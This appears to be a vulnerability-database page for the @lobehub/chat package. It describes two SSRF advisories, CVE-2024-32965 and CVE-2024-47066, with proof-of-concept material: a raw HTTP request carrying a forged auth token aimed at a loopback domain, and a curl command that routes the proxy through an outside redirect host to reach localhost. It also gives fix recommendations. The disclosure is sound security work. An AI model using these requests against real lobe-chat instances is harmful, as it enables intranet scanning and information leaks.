@lobehub/chat 1.0.2
@lobehub/chat Server Side Request Forgery vulnerability
high severity CVE-2024-32965< 1.19.13
Summary
lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.
Details
- visit https://chat-preview.lobehub.com/
- click settings -> llm -> openai
- fill the OpenAI API Key you like
- fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
- then lobe will echo the ssrf result
The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.
PoC
POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close
{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}
Impact
SSRF, All users will be impacted.
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
medium severity CVE-2024-47066<= 1.19.12
Summary
SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.
PoC
-
Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;
-
Create file dummy-server.js with the following content:
var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
console.log(req.url);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end();
}).listen(3001, 'localhost');
And run
node dummy-server.js
as an example server inside of container [1] (or in containers private network).
- Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
-b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
--data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
$'http://0.0.0.0:3210/api/proxy'
where body contains url of server which redirects to internal network (in my case it redirects according url parameter).
- Observe in output of [2]
running server
/iamssrf_1337
- Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.
Fix recommendations:
- Disable redirects - lobe-chat should consider explicitly disable redirects.
- If redirects support is required, perform check before each http request.
Impact
No license issues detected.
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